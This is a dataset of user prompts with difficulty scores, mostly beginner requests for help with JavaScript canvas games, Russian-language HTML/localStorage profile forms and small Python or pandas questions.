row_id
int64
0
48.4k
init_message
stringlengths
1
342k
conversation_hash
stringlengths
32
32
scores
dict
15,171
Допиши код на js, чтобы при сохранении не стиралось то что мы вводим. Код: document.getElementById("saveButton").onclick = function() { var name = document.getElementById("name").value; var age = document.getElementById("age").value; var city = document.getElementById("city").value; var company = document.getElementById("company").value; var email = document.getElementById("email").value; var tel = document.getElementById("tel").value; var comment = document.getElementById("comment").value; alert("Данные успешно сохранены"); }
7d73823f8f0c1f45dc004e7410f91625
{ "intermediate": 0.35298722982406616, "beginner": 0.3802061378955841, "expert": 0.26680660247802734 }
15,172
read parque file in pandas
508ebaa19570d9c4451031ed87f39f56
{ "intermediate": 0.3769960403442383, "beginner": 0.29299378395080566, "expert": 0.33001023530960083 }
15,173
I'm having a problem with some code in my discord bot. Don't say anything, just let me share code to you
f452cc4faab678a12b0d3e3fcd67e755
{ "intermediate": 0.28714147210121155, "beginner": 0.28145140409469604, "expert": 0.4314071834087372 }
15,174
const canvas = document.getElementById(“gameCanvas”); const context = canvas.getContext(“2d”); const slimeWidth = 100; const slimeHeight = 10; const slimeSpeed = 2; const ballSize = 40; let slimeX = (canvas.width - slimeWidth) / 2; let slimeY = canvas.height - slimeHeight / 2; let leftArrowDown = false; let rightArrowDown = false; let spaceBarDown = false; const jumpStrength = -7; // Increased jump strength const gravity = 0.002; // Increased gravity const slimeGravity = gravity; // The strength of the gravity effect on the slime document.addEventListener(“keydown”, handleKeyDown); document.addEventListener(“keyup”, handleKeyUp); function handleKeyDown(event) { if (event.key === “ArrowLeft”) { leftArrowDown = true; } else if (event.key === “ArrowRight”) { rightArrowDown = true; } else if (event.key === " ") { spaceBarDown = true; } } function handleKeyUp(event) { if (event.key === “ArrowLeft”) { leftArrowDown = false; } else if (event.key === “ArrowRight”) { rightArrowDown = false; } else if (event.key === " ") { spaceBarDown = false; } } function moveSlimeLeft() { if (slimeX > 0) { slimeX -= slimeSpeed; } } function moveSlimeRight() { if (slimeX < canvas.width - slimeWidth) { slimeX += slimeSpeed; } } function updateSlime() { if (leftArrowDown) { moveSlimeLeft(); } else if (rightArrowDown) { moveSlimeRight(); } // Apply gravity to the slime slimeY += slimeGravity; // Check if the slime is on the ground if (slimeY > canvas.height - slimeHeight / 2) { // Keep the slime on the ground slimeY = canvas.height - slimeHeight / 2; // Make the slime jump if the space bar is down if (spaceBarDown) { slimeY += jumpStrength; } } } function drawSlime() { context.beginPath(); context.arc(slimeX + slimeWidth / 2, slimeY, slimeWidth / 2, Math.PI, 0, true); context.fillStyle = “green”; context.fill(); context.closePath(); } let ballX = (canvas.width - ballSize) / 2; let ballY = (canvas.height - ballSize) / 2; let ballVx = Math.random() * 0.1 + 0.1; // Horizontal velocity let ballVy = -Math.random() * 0.1 - 0.1; // Vertical velocity function updateBall() { // Move ball by adding velocity to position ballX += ballVx; ballY += ballVy; // Apply gravity by adding it to vertical velocity ballVy += gravity; // Check if ball hits left or right wall if (ballX < 0 || ballX > canvas.width - ballSize) { // Reverse horizontal velocity ballVx = -ballVx; } // Check if ball hits top wall if (ballY < 0) { // Reverse vertical velocity to move ball downward ballVy = -ballVy; } // Check if ball hits slime let distX = Math.abs(ballX - slimeX - slimeWidth / 2); let distY = Math.abs(ballY - slimeY); if (distX <= slimeWidth / 2 + ballSize / 2) { if (distY <= slimeHeight / 2 + ballSize / 2) { // Reverse vertical velocity to make ball bounce off of slime ballVy *= -1; let angle = Math.atan2(ballY - slimeY, ballX - (slimeX + slimeWidth / 2)); let speed = Math.sqrt(ballVx * ballVx + ballVy * ballVy); ballVx = speed * Math.cos(angle); ballVy = speed * Math.sin(angle); } } // Check if ball falls below bottom edge if (ballY > canvas.height) { // Reset game by placing ball at center ballX = (canvas.width - ballSize) / 2; ballY = (canvas.height - ballSize) / 2; // Reset velocities to initial values ballVx = Math.random() * 0.1 + 0.1; ballVy = -Math.random() * 0.1 - 0.1; } } function drawBall() { context.beginPath(); context.arc(ballX, ballY, ballSize / 2, 0, Math.PI * 2); context.fillStyle = "red"; context.fill(); context.closePath(); } const goalPostWidth = 10; const goalPostHeight = 80; const goalPostY = canvas.height - goalPostHeight; const leftGoalPostX = 0; const rightGoalPostX = canvas.width - goalPostWidth; function drawGoalPosts() { context.beginPath(); // Draw the left goal post context.rect(leftGoalPostX, goalPostY, goalPostWidth, goalPostHeight); // Draw the right goal post context.rect(rightGoalPostX, goalPostY, goalPostWidth, goalPostHeight); context.fillStyle = "white"; context.fill(); context.closePath(); } function draw() { context.clearRect(0, 0, canvas.width, canvas.height); updateSlime(); updateBall(); drawSlime(); drawBall(); drawGoalPosts(); requestAnimationFrame(draw); } draw(); fix my code, replace the quotation marks with the smaller double ones such as: "
880c6d4a91e8977333dabd4092dce85d
{ "intermediate": 0.25779813528060913, "beginner": 0.5172304511070251, "expert": 0.22497135400772095 }
15,175
if "brothers" in question: if "stop working" in question: return "Working with my brothers in The Jackson 5 was a remarkable experience. We created music that touched the hearts of millions. As we embarked on our individual journeys, we were driven by a desire to explore our own artistic visions. Although we pursued separate paths, our bond as brothers remained unbreakable, and we continued to support each other in our personal endeavors." I got an error in my code. C:\Users\Ryan\Documents>python script.py File "C:\Users\Ryan\Documents\script.py", line 139 return "Working with my brothers in The Jackson 5 was a remarkable experience. We created music that touched the hearts of millions. As we embarked on our individual journeys, we were driven by a desire to explore our own artistic visions. Although we pursued separate paths, our bond as brothers remained unbreakable, and we continued to support each other in our personal endeavors." ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ SyntaxError: 'return' outside function
c6494ee3327d85ac159ba019ff6f8cd4
{ "intermediate": 0.1000872477889061, "beginner": 0.7968721985816956, "expert": 0.10304052382707596 }
15,176
Yes, there are web-based tools available that can help you replace quotation marks in your code. One popular tool is “Regex101” (regex101.com). Here’s how you can use this tool: 1. Go to Regex101 (regex101.com). 2. In the editor box, paste the code that contains the quotation marks you want to replace. 3. In the “Regex” field, enter the regular expression pattern to match the quotation marks. For example, to match double quotation marks, you can use " or \" as the pattern. 4. In the “Replace” field, enter the replacement value you want to use. For example, if you want to replace double quotation marks with single quotation marks, you would enter ' in the “Replace” field. 5. Make sure the “g” (global) and “m” (multiline) flags are selected, as these will replace all occurrences of the pattern in your code. 6. Click on the “Replace” or “Replace & Find” button to perform the replacement. 7. The tool will show you the updated code with the replaced quotation marks. You can then copy the updated code and use it in your project. Note: Regular expressions can be powerful but complex. Make sure to double-check your regular expression pattern and replacement value to ensure they accurately represent what you want to replace. Using a web-based tool like Regex101 allows you to quickly replace quotation marks without installing any extensions or editors. However, be cautious when modifying your code through external tools, and always review the changes to ensure they are correct before integrating them into your project. any other easier fixes?
78fa9647491919098c3e8dbd824492df
{ "intermediate": 0.39473065733909607, "beginner": 0.2745130956172943, "expert": 0.3307562470436096 }
15,177
сделать вертикальное меню, добавь css. Код: <section class="intro"> <header> <nav> <a class="links_nav" href="index1.html"><div class="content_links_nav">Главная</div></a> <a class="links_nav" href="company.html"><div class="content_links_nav">О компании</div></a> <a class="links_nav" href="proect.html"><div class="content_links_nav">Проекты</div></a> </nav> </header>
45d5c593f1d768d83f779269186571fc
{ "intermediate": 0.3779188096523285, "beginner": 0.3373974859714508, "expert": 0.2846837043762207 }
15,178
const canvas = document.getElementById("gameCanvas"); const context = canvas.getContext("2d"); const slimeWidth = 100; const slimeHeight = 10; const slimeSpeed = 2; const ballSize = 40; let slimeX = (canvas.width - slimeWidth) / 2; let slimeY = canvas.height - slimeHeight / 2; let leftArrowDown = false; let rightArrowDown = false; let spaceBarDown = false; const jumpStrength = -7; // Increased jump strength const gravity = 0.002; // Increased gravity const slimeGravity = gravity; // The strength of the gravity effect on the slime document.addEventListener("keydown", handleKeyDown); document.addEventListener("keyup", handleKeyUp); function handleKeyDown(event) { if (event.key === "ArrowLeft") { leftArrowDown = true; } else if (event.key === "ArrowRight") { rightArrowDown = true; } else if (event.key === " ") { spaceBarDown = true; } } function handleKeyUp(event) { if (event.key === "ArrowLeft") { leftArrowDown = false; } else if (event.key === "ArrowRight") { rightArrowDown = false; } else if (event.key === " ") { spaceBarDown = false; } } function moveSlimeLeft() { if (slimeX > 0) { slimeX -= slimeSpeed; } } function moveSlimeRight() { if (slimeX < canvas.width - slimeWidth) { slimeX += slimeSpeed; } } function updateSlime() { if (leftArrowDown) { moveSlimeLeft(); } else if (rightArrowDown) { moveSlimeRight(); } // Apply gravity to the slime slimeY += slimeGravity; // Check if the slime is on the ground if (slimeY > canvas.height - slimeHeight / 2) { // Keep the slime on the ground slimeY = canvas.height - slimeHeight / 2; // Make the slime jump if the space bar is down if (spaceBarDown) { slimeY += jumpStrength; } } } function drawSlime() { context.beginPath(); context.arc(slimeX + slimeWidth / 2, slimeY, slimeWidth / 2, Math.PI, 0, true); context.fillStyle = "green"; context.fill(); context.closePath(); } let ballX = (canvas.width - ballSize) / 2; let ballY = (canvas.height - ballSize) / 2; let ballVx = Math.random() * 0.1 + 0.1; // Horizontal velocity let ballVy = -Math.random() * 0.1 - 0.1; // Vertical velocity function updateBall() { // Move ball by adding velocity to position ballX += ballVx; ballY += ballVy; // Apply gravity by adding it to vertical velocity ballVy += gravity; // Check if ball hits left or right wall if (ballX < 0 || ballX > canvas.width - ballSize) { // Reverse horizontal velocity ballVx = -ballVx; } // Check if ball hits top wall if (ballY < 0) { // Reverse vertical velocity to move ball downward ballVy = -ballVy; } // Check if ball hits slime let distX = Math.abs(ballX - slimeX - slimeWidth / 2); let distY = Math.abs(ballY - slimeY); if (distX <= slimeWidth / 2 + ballSize / 2) { if (distY <= slimeHeight / 2 + ballSize / 2) { // Reverse vertical velocity to make ball bounce off of slime ballVy *= -1; let angle = Math.atan2(ballY - slimeY, ballX - (slimeX + slimeWidth / 2)); let speed = Math.sqrt(ballVx * ballVx + ballVy * ballVy); ballVx = speed * Math.cos(angle); ballVy = speed * Math.sin(angle); } } // Check if ball falls below bottom edge if (ballY > canvas.height) { // Reset game by placing ball at center ballX = (canvas.width - ballSize) / 2; ballY = (canvas.height - ballSize) / 2; // Reset velocities to initial values ballVx = Math.random() * 0.1 + 0.1; ballVy = -Math.random() * 0.1 - 0.1; } } function drawBall() { context.beginPath(); context.arc(ballX, ballY, ballSize / 2, 0, Math.PI * 2); context.fillStyle = "red"; context.fill(); context.closePath(); } const goalPostWidth = 10; const goalPostHeight = 80; const goalPostY = canvas.height - goalPostHeight; const leftGoalPostX = 0; const rightGoalPostX = canvas.width - goalPostWidth; function drawGoalPosts() { context.beginPath(); // Draw the left goal post context.rect(leftGoalPostX, goalPostY, goalPostWidth, goalPostHeight); // Draw the right goal post context.rect(rightGoalPostX, goalPostY, goalPostWidth, goalPostHeight); context.fillStyle = "white"; context.fill(); context.closePath(); } function draw() { context.clearRect(0, 0, canvas.width, canvas.height); updateSlime(); updateBall(); drawSlime(); drawBall(); drawGoalPosts(); requestAnimationFrame(draw); } draw();
b5ba051b8c0c7c8b5c3c88383eaa97f2
{ "intermediate": 0.2466118484735489, "beginner": 0.5189499855041504, "expert": 0.23443815112113953 }
15,179
У меня есть код на html, имеются две одинаковые страницы, но напиши код ( на js, html как получился), чтобы всё что я вношу на первой странице сохраняю и это выносится на вторую страницу. Код: <div id="header"> <div class="navbar"> <div class="navbar__company"> Industrial Solutions RUS </div> </div> <img src="image/logo.png"> </div> <div class="vertical-menu"> <a href="kabinet.html" class="active">Профиль</a> <a href="новый 1.html">Компания</a> </div> <div class="content"> <div class="container content-container container_auth"> <div class="auth__wrapper"> <form action="" method="post" class="form"> <input type="image" src="image/profil.png" alt="Submit" align="middle" style="margin-left:400px"; width="208" height="170"> <h1>Добро пожаловать в Личный кабинет</h1> <form id="form"> <div class="form-control"> <label for="name" id="label-name"> ФИО </label> <input type="text" id="name" placeholder="Введите ФИО" /> </div> <div class="form-control"> <label for="age" id="label-age"> Возраст </label> <input type="text" id="age" placeholder="Введите ваш возраст" /> </div> <div class="form-control"> <label for="city" id="label-city"> Город </label> <input type="city" id="city" placeholder="Введите ваш город" /> </div> <div class="form-control"> <label for="company" id="label-company"> Компания </label> <input type="text" id="company" placeholder="Введите вашу компанию" /> </div> <div class="form-control"> <label for="email" id="label-email"> Электронная почта </label> <input type="text" id="email" placeholder="Введите ваш Email" /> </div> <div class="form-control"> <label for="tel" id="label-tel"> Телефон </label> <input type="text" id="tel" placeholder="Введите номер" /> </div> <div class="form-control"> <label for="comment"> Описание компетенций и опыта </label> <textarea name="comment" id="comment" placeholder="Enter your comment here"> </textarea> </div> <button type="submit" id="saveButton" value="submit"> Сохранить </button> </form>
a5f6ce64280b3d68e9aefbcf1ab6714a
{ "intermediate": 0.12796059250831604, "beginner": 0.7225036025047302, "expert": 0.14953583478927612 }
15,180
"I need help replacing a valve on a infinite number of m35 x 2007."
46bdab9c5c3874d8921da5f3e40d1533
{ "intermediate": 0.281452476978302, "beginner": 0.44466596841812134, "expert": 0.27388161420822144 }
15,181
У меня есть код на html, имеются две одинаковые страницы, но напиши код ( на js, html как получился), чтобы всё что я вношу на первой странице сохраняю и это выносится на вторую страницу. Код: <div id=“header”> <div class=“navbar”> <div class=“navbar__company”> Industrial Solutions RUS </div> </div> <img src=“image/logo.png”> </div> <div class=“vertical-menu”> <a href=“kabinet.html” class=“active”>Профиль</a> <a href=“новый 1.html”>Компания</a> </div> <div class=“content”> <div class=“container content-container container_auth”> <div class=“auth__wrapper”> <form action=“” method=“post” class=“form”> <input type=“image” src=“image/profil.png” alt=“Submit” align=“middle” style=“margin-left:400px”; width=“208” height=“170”> <h1>Добро пожаловать в Личный кабинет</h1> <form id=“form”> <div class=“form-control”> <label for=“name” id=“label-name”> ФИО </label> <input type=“text” id=“name” placeholder=“Введите ФИО” /> </div> <div class=“form-control”> <label for=“age” id=“label-age”> Возраст </label> <input type=“text” id=“age” placeholder=“Введите ваш возраст” /> </div> <div class=“form-control”> <label for=“city” id=“label-city”> Город </label> <input type=“city” id=“city” placeholder=“Введите ваш город” /> </div> <div class=“form-control”> <label for=“company” id=“label-company”> Компания </label> <input type=“text” id=“company” placeholder=“Введите вашу компанию” /> </div> <div class=“form-control”> <label for=“email” id=“label-email”> Электронная почта </label> <input type=“text” id=“email” placeholder=“Введите ваш Email” /> </div> <div class=“form-control”> <label for=“tel” id=“label-tel”> Телефон </label> <input type=“text” id=“tel” placeholder=“Введите номер” /> </div> <div class=“form-control”> <label for=“comment”> Описание компетенций и опыта </label> <textarea name=“comment” id=“comment” placeholder=“Enter your comment here”> </textarea> </div> <button type=“submit” id=“saveButton” value=“submit”> Сохранить </button> </form> Код на js: document.getElementById("saveButton").onclick = function() { var name = document.getElementById("name").value; var age = document.getElementById("age").value; var city = document.getElementById("city").value; var company = document.getElementById("company").value; var email = document.getElementById("email").value; var tel = document.getElementById("tel").value; var comment = document.getElementById("comment").value; if (name === "" || age === "" || city === "" || company === "" || email === "" || tel === "" || comment === "") { alert("Пожалуйста, заполните все поля."); } else { alert("Данные успешно сохранены"); } return false; }
56a217e7d96adfc375e232b0d16d5e07
{ "intermediate": 0.2464589923620224, "beginner": 0.5176473259925842, "expert": 0.23589365184307098 }
15,182
document.getElementById("saveButton").onclick = function() { var name = document.getElementById("name").value; var age = document.getElementById("age").value; var city = document.getElementById("city").value; var company = document.getElementById("company").value; var email = document.getElementById("email").value; var tel = document.getElementById("tel").value; var comment = document.getElementById("comment").value; if (name === "" || age === "" || city === "" || company === "" || email === "" || tel === "" || comment === "") { alert("Пожалуйста, заполните все поля."); } else { alert("Данные успешно сохранены"); var savedData = { "ФИО": name, "Возраст": age, "Город": city, "Компания": company, "Электронная почта": email, "Телефон": tel, "Описание компетенций и опыта": comment }; localStorage.setItem("savedData", JSON.stringify(savedData)); } return false; }; Ты мне до этого сделал чтобы на второй странице выводились данные, которые я ввожу в 1 странице, как сделать так чтобы очистить все данные во второй странице, чтобы первая осталась пустой?
ed8b7ba4291024835dbae25ae82adec7
{ "intermediate": 0.30603471398353577, "beginner": 0.4048880338668823, "expert": 0.28907716274261475 }
15,183
document.getElementById(“saveButton”).onclick = function() { var name = document.getElementById(“name”).value; var age = document.getElementById(“age”).value; var city = document.getElementById(“city”).value; var company = document.getElementById(“company”).value; var email = document.getElementById(“email”).value; var tel = document.getElementById(“tel”).value; var comment = document.getElementById(“comment”).value; if (name === “” || age === “” || city === “” || company === “” || email === “” || tel === “” || comment === “”) { alert(“Пожалуйста, заполните все поля.”); } else { alert(“Данные успешно сохранены”); var savedData = { “ФИО”: name, “Возраст”: age, “Город”: city, “Компания”: company, “Электронная почта”: email, “Телефон”: tel, “Описание компетенций и опыта”: comment }; localStorage.setItem(“savedData”, JSON.stringify(savedData)); } return false; }; Ты мне до этого сделал чтобы на второй странице выводились данные, которые я ввожу в 1 странице, как сделать так чтобы очистить все данные во второй странице, чтобы первая осталась пустой?
f8a4d3baf0eaef84796822f4e80c1f1d
{ "intermediate": 0.3088049590587616, "beginner": 0.4583342373371124, "expert": 0.2328607589006424 }
15,184
Ты мне до этого сделал чтобы на второй странице выводились данные, которые я ввожу в 2 странице, как сделать так чтобы очистить все данные в первой странице, чтобы первая осталась пустой? добавь к моему коду. 1 страница: <!DOCTYPE html> <html lang="ru"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="profil.css"> <title>Личный кабинет</title> </head> <div id="header"> <div class="navbar"> <div class="navbar__company"> Industrial Solutions RUS </div> </div> <img src="image/logo.png"> </div> <div class="vertical-menu"> <a href="kabinet.html" class="active">Профиль</a> <a href="новый 1.html">Компания</a> </div> <form> <div class="content"> <div class="container content-container container_auth"> <div class="auth__wrapper"> <form action="" method="post" class="form"> <input type="image" src="image/profil.png" alt="Submit" align="middle" style="margin-left:400px"; width="208" height="170"> <h1>Добро пожаловать в Личный кабинет</h1> <div class="content"> <div class="container content-container container_auth"> <div class="auth__wrapper"> <div id="savedData"> <!-- Здесь будут отображаться сохраненные данные --> </div> </div> </div> </div> </div> </div> </div> </div> </div> </form> <div class="footer"> <div class="footer_wrapper"> <div class="footer__left"> <div class="footer__portalname">Портал субподрядчиков | tkIS</div> <div class="footer__links"> <div class="footer__links__column"> <a href="index1.html" class="footer__link"> Главная </a> <a href="proect.html" class="footer__link"> Проекты компании </a> <a href="log.html" class="footer__link"> Вход в личный кабинет </a> </div> <div class="footer__links__column"> <a href="https://is-dz.com/" class="footer__link"> Cайт организации </a> <a href="https://www.thyssenkrupp-industrial-solutions.com/en" class="footer__link"> Корпоративный сайт </a> <a href="https://www.thyssenkrupp.com/en/home" class="footer__link"> Сайт thyssenkrupp AG </a> </div> </div> </div> <div class="footer__right"> <div class="footer__company">thyssenkrupp</div> <div class="footer__country">Russia</div> </div> </div> </div> </div> </div> <script> var savedData = localStorage.getItem("savedData"); if (savedData) { savedData = JSON.parse(savedData); var savedDataDiv = document.getElementById("savedData"); for (var key in savedData) { savedDataDiv.innerHTML += "<p>" + key + ": " + decodeURIComponent(savedData[key]) + "</p>"; } } else { alert("Нет сохраненных данных"); } </script> </body> </html> 2 страница: <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="profil.css"> <title>Личный кабинет</title> </head> <div id="header"> <div class="navbar"> <div class="navbar__company"> Industrial Solutions RUS </div> </div> <img src="image/logo.png"> </div> <div class="vertical-menu"> <a href="kabinet.html" class="active">Профиль</a> <a href="новый 1.html">Компания</a> </div> <div class="content"> <div class="container content-container container_auth"> <div class="auth__wrapper"> <form action="" method="post" class="form"> <input type="image" src="image/profil.png" alt="Submit" align="middle" style="margin-left:400px"; width="208" height="170"> <h1>Добро пожаловать в Личный кабинет</h1> <form id="form"> <div class="form-control"> <label for="name" id="label-name">ФИО</label> <input type="text" id="name" placeholder="Введите ФИО"> </div> <div class="form-control"> <label for="age" id="label-age">Возраст</label> <input type="text" id="age" placeholder="Введите ваш возраст"> </div> <div class="form-control"> <label for="city" id="label-city">Город</label> <input type="text" id="city" placeholder="Введите ваш город"> </div> <div class="form-control"> <label for="company" id="label-company">Компания</label> <input type="text" id="company" placeholder="Введите вашу компанию"> </div> <div class="form-control"> <label for="email" id="label-email">Электронная почта</label> <input type="text" id="email" placeholder="Введите ваш Email"> </div> <div class="form-control"> <label for="tel" id="label-tel">Телефон</label> <input type="text" id="tel" placeholder="Введите номер"> </div> <div class="form-control"> <label for="comment">Описание компетенций и опыта</label> <textarea name="comment" id="comment" placeholder="Enter your comment here"></textarea> </div> <button type="submit" id="saveButton" value="submit"> Сохранить </button> </form> <div class="footer"> <div class="footer_wrapper"> <div class="footer__left"> <div class="footer__portalname">Портал субподрядчиков | tkIS</div> <div class="footer__links"> <div class="footer__links__column"> <a href="index1.html" class="footer__link"> Главная </a> <a href="proect.html" class="footer__link"> Проекты компании </a> <a href="log.html" class="footer__link"> Вход в личный кабинет </a> </div> <div class="footer__links__column"> <a href="https://is-dz.com/" class="footer__link"> Cайт организации </a> <a href="https://www.thyssenkrupp-industrial-solutions.com/en" class="footer__link"> Корпоративный сайт </a> <a href="https://www.thyssenkrupp.com/en/home" class="footer__link"> Сайт thyssenkrupp AG </a> </div> </div> </div> <div class="footer__right"> <div class="footer__company">thyssenkrupp</div> <div class="footer__country">Russia</div> </div> </div> </div> </div> </div> <script type="text/javascript" src="kabinet.js"></script> </body> </html> js: document.getElementById("saveButton").onclick = function() { var name = document.getElementById("name").value; var age = document.getElementById("age").value; var city = document.getElementById("city").value; var company = document.getElementById("company").value; var email = document.getElementById("email").value; var tel = document.getElementById("tel").value; var comment = document.getElementById("comment").value; if (name === "" || age === "" || city === "" || company === "" || email === "" || tel === "" || comment === "") { alert("Пожалуйста, заполните все поля."); } else { alert("Данные успешно сохранены"); var savedData = { "ФИО": name, "Возраст": age, "Город": city, "Компания": company, "Электронная почта": email, "Телефон": tel, "Описание компетенций и опыта": comment }; localStorage.setItem("savedData", JSON.stringify(savedData)); localStorage.removeItem("clearedData"); } return false; };
6016fa0be2e9e5926530540a0fbf7ebd
{ "intermediate": 0.2405589371919632, "beginner": 0.5511044859886169, "expert": 0.20833657681941986 }
15,185
document.getElementById("saveButton").onclick = function() { var name = document.getElementById("name").value; var age = document.getElementById("age").value; var city = document.getElementById("city").value; var company = document.getElementById("company").value; var email = document.getElementById("email").value; var tel = document.getElementById("tel").value; var comment = document.getElementById("comment").value; if (name === "" || age === "" || city === "" || company === "" || email === "" || tel === "" || comment === "") { alert("Пожалуйста, заполните все поля."); } else { alert("Данные успешно сохранены"); var savedData = { "ФИО": name, "Возраст": age, "Город": city, "Компания": company, "Электронная почта": email, "Телефон": tel, "Описание компетенций и опыта": comment }; localStorage.setItem("savedData", JSON.stringify(savedData)); } return false; }; Как сохранить данные, чтобы при обновлении страницы они остались?
e4dcbc75606746e4f0c09c03f754d76b
{ "intermediate": 0.3010161221027374, "beginner": 0.43124720454216003, "expert": 0.26773667335510254 }
15,186
<html lang=“ru”> <head> <meta charset=“UTF-8”> <meta name=“viewport” content=“width=device-width, initial-scale=1.0”> <link rel=“stylesheet” href=“profil.css”> <title>Личный кабинет</title> </head> <div id=“header”> <div class=“navbar”> <div class=“navbar__company”> Industrial Solutions RUS </div> </div> <img src=“image/logo.png”> </div> <div class=“vertical-menu”> <a href=“kabinet.html” class=“active”>Профиль</a> <a href=“новый 1.html”>Изменение профиля</a> </div> <form> <div class=“content”> <div class=“container content-container container_auth”> <div class=“auth__wrapper”> <form action=“” method=“post” class=“form”> <input type=“image” src=“image/profil.png” alt=“Submit” align=“middle” style=“margin-left:400px”; width=“208” height=“170”> <h1>Добро пожаловать в Личный кабинет</h1> <div class=“content”> <div class=“container content-container container_auth”> <div class=“auth__wrapper”> <div id=“savedData”> <!-- Здесь будут отображаться сохраненные данные --> </div> </div> </div> </div> </div> </div> </div> </div> </div> </form> <div class=“footer”> <div class=“footer_wrapper”> <div class=“footer__left”> <div class=“footer__portalname”>Портал субподрядчиков | tkIS</div> <div class=“footer__links”> <div class=“footer__links__column”> <a href=“index1.html” class=“footer__link”> Главная </a> <a href=“proect.html” class=“footer__link”> Проекты компании </a> <a href=“log.html” class=“footer__link”> Вход в личный кабинет </a> </div> <div class=“footer__links__column”> <a href=“https://is-dz.com/” class=“footer__link”> Cайт организации </a> <a href=“https://www.thyssenkrupp-industrial-solutions.com/en” class=“footer__link”> Корпоративный сайт </a> <a href=“https://www.thyssenkrupp.com/en/home” class=“footer__link”> Сайт thyssenkrupp AG </a> </div> </div> </div> <div class=“footer__right”> <div class=“footer__company”>thyssenkrupp</div> <div class=“footer__country”>Russia</div> </div> </div> </div> </div> </div> <script> var savedData = localStorage.getItem(“savedData”); if (savedData) { savedData = JSON.parse(savedData); var savedDataDiv = document.getElementById(“savedData”); for (var key in savedData) { savedDataDiv.innerHTML += “<p>” + key + “: " + decodeURIComponent(savedData[key]) + “</p>”; } } else { alert(“Нет сохраненных данных”); } document.addEventListener(“DOMContentLoaded”, function() { localStorage.removeItem(“savedData”); }); </script> </body> </html> <!DOCTYPE html> <html lang=“ru”> <head> <meta charset=“UTF-8”> <meta name=“viewport” content=“width=device-width, initial-scale=1.0”> <link rel=“stylesheet” href=“profil.css”> <title>Личный кабинет</title> </head> <div id=“header”> <div class=“navbar”> <div class=“navbar__company”> Industrial Solutions RUS </div> </div> <img src=“image/logo.png”> </div> <div class=“vertical-menu”> <a href=“kabinet.html” class=“active”>Профиль</a> <a href=“новый 1.html”>Изменение профиля</a> </div> <div class=“content”> <div class=“container content-container container_auth”> <div class=“auth__wrapper”> <form action=”" method=“post” class=“form”> <input type=“image” src=“image/profil.png” alt=“Submit” align=“middle” style=“margin-left:400px”; width=“208” height=“170”> <h1>Добро пожаловать в Личный кабинет</h1> <form id=“form”> <div class=“form-control”> <label for=“name” id=“label-name”>ФИО</label> <input type=“text” id=“name” placeholder=“Введите ФИО”> </div> <div class=“form-control”> <label for=“age” id=“label-age”>Возраст</label> <input type=“text” id=“age” placeholder=“Введите ваш возраст”> </div> <div class=“form-control”> <label for=“city” id=“label-city”>Город</label> <input type=“text” id=“city” placeholder=“Введите ваш город”> </div> <div class=“form-control”> <label for=“company” id=“label-company”>Компания</label> <input type=“text” id=“company” placeholder=“Введите вашу компанию”> </div> <div class=“form-control”> <label for=“email” id=“label-email”>Электронная почта</label> <input type=“text” id=“email” placeholder=“Введите ваш Email”> </div> <div class=“form-control”> <label for=“tel” id=“label-tel”>Телефон</label> <input type=“text” id=“tel” placeholder=“Введите номер”> </div> <div class=“form-control”> <label for=“comment”>Описание компетенций и опыта</label> <textarea name=“comment” id=“comment” placeholder=“Enter your comment here”></textarea> </div> <button type=“submit” id=“saveButton” value=“submit”> Сохранить </button> </form> <div class=“footer”> <div class=“footer_wrapper”> <div class=“footer__left”> <div class=“footer__portalname”>Портал субподрядчиков | tkIS</div> <div class=“footer__links”> <div class=“footer__links__column”> <a href=“index1.html” class=“footer__link”> Главная </a> <a href=“proect.html” class=“footer__link”> Проекты компании </a> <a href=“log.html” class=“footer__link”> Вход в личный кабинет </a> </div> <div class=“footer__links__column”> <a href=“https://is-dz.com/” class=“footer__link”> Cайт организации </a> <a href=“https://www.thyssenkrupp-industrial-solutions.com/en” class=“footer__link”> Корпоративный сайт </a> <a href=“https://www.thyssenkrupp.com/en/home” class=“footer__link”> Сайт thyssenkrupp AG </a> </div> </div> </div> <div class=“footer__right”> <div class=“footer__company”>thyssenkrupp</div> <div class=“footer__country”>Russia</div> </div> </div> </div> </div> </div> <script type=“text/javascript” src=“kabinet.js”></script> </body> </html> document.getElementById(“saveButton”).onclick = function() { var name = document.getElementById(“name”).value; var age = document.getElementById(“age”).value; var city = document.getElementById(“city”).value; var company = document.getElementById(“company”).value; var email = document.getElementById(“email”).value; var tel = document.getElementById(“tel”).value; var comment = document.getElementById(“comment”).value; if (name === “” || age === “” || city === “” || company === “” || email === “” || tel === “” || comment === “”) { alert(“Пожалуйста, заполните все поля.”); } else { alert(“Данные успешно сохранены”); var savedData = { “ФИО”: name, “Возраст”: age, “Город”: city, “Компания”: company, “Электронная почта”: email, “Телефон”: tel, “Описание компетенций и опыта”: comment }; localStorage.setItem(“savedData”, JSON.stringify(savedData)); } return false; }; Как сохранить данные, чтобы при обновлении страницы новый 1.html они остались?
198e3999a0bc37829e1539b15881da06
{ "intermediate": 0.2340298891067505, "beginner": 0.5248411297798157, "expert": 0.241129070520401 }
15,187
Can you make me a learning schedule for me too. Learn the basics of swift. Please provide links to documentation
45434e7cc23b6c9275ef180999b7b64f
{ "intermediate": 0.44284969568252563, "beginner": 0.3224281966686249, "expert": 0.2347220480442047 }
15,188
Write code for a Borg drone character in a Star Trek game.
c83a4f3e73d46bd19a50390168adaf6d
{ "intermediate": 0.3241094946861267, "beginner": 0.25548118352890015, "expert": 0.42040929198265076 }
15,189
For VR, write code for creating objects, Characters, and places, from spoken commands from the player.
338bbc3363375550d1269c6a545a4d2e
{ "intermediate": 0.2878313362598419, "beginner": 0.24835161864757538, "expert": 0.4638170301914215 }
15,190
